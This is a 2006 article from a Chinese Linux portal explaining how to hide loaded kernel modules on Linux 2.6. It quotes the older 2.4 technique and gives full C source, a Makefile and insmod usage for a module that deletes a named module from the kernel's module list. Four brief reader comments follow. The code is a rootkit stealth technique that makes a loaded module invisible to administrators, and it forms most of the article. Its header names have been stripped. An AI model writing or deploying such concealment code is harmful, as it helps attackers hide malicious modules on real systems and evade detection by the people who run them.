红联Linux门户
Linux帮助

教你怎样隐藏Linux 2.6内核模块

发布时间:2006-11-04 10:47:06来源:红联作者:晚点
2.6内核与2.4内核相比,有了许多变化,模块部分的实现完全重写,结构也有了一些变化。2.4内核中模块隐藏的方式为:(参考madsys的phrack 61-03)

引用:
  struct module *p;
  for (p=&__this_module; p->next; p=p->next)
    {
      if (strcmp(p->next->name, str))
        continue;
      p->next=p->next->next; // <-- here it removes that module
      break;
    }
2.4的module定义为:
struct module
{
  unsigned long size_of_struct; /* == sizeof(module) */
  struct module *next;
  const char *name;
  unsigned long size;
  ...
}
2.6为:
struct module
{
  enum module_state state;
  /* Member of list of modules */
  struct list_head list; <--- 变成了双向链表
  /* Unique handle for this module */
  char name[MODULE_NAME_LEN];
  ...
}
因此使用标准的内核list系列处理函数(不需要再闭门造车了),2.6版的进程隐藏重写为:
/*
* FileName: remove.c
* Author: CoolQ
* Date: 23:05 2004-9-2
* Makefile:
* ---------------- cut here -----------------
* obj-m += remove.o
* KDIR:= /lib/modules/$(shell uname -r)/build
* PWD:= $(shell pwd)
* default:
* $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
*----------------- cut here -----------------
* Compile:
* [root@coolq tmp]make
* Usage:
* [root@coolq tmp]insmod remove.ko mod_name=module_name_to_hide
*/
#include
#include
#include
#include
#include
#include
static char *mod_name = "module";
module_param(mod_name, charp, 0);
static int remove_init(void)
{
  struct module *mod_head, *mod_counter;
  struct list_head *p;
  mod_head = &__this_module;
  list_for_each(p, &mod_head->list){
    mod_counter = list_entry(p, struct module, list);
    if(strcmp(mod_counter->name, mod_name) == 0){
      list_del(p);
      printk("remove module %s successfully.\n", mod_name);
      return 0;
    }
  }
  printk("Can't find module %s.\n", mod_name);
  return 0;
}
static void remove_exit(void)
{
}
module_init(remove_init);
module_exit(remove_exit);
MODULE_LICENSE("Dual BSD/GPL");
文章评论

共有 4 条评论

  1. myxsg 于 2006-11-07 13:04:19发表:

    看不懂,跟天书一样

  2. junfeng 于 2006-11-07 11:30:46发表:

    :ha3nd

  3. fjxvip 于 2006-11-06 20:10:45发表:

    :ha3nd

  4. csbinghu 于 2006-11-04 13:39:22发表:

    :49ab:1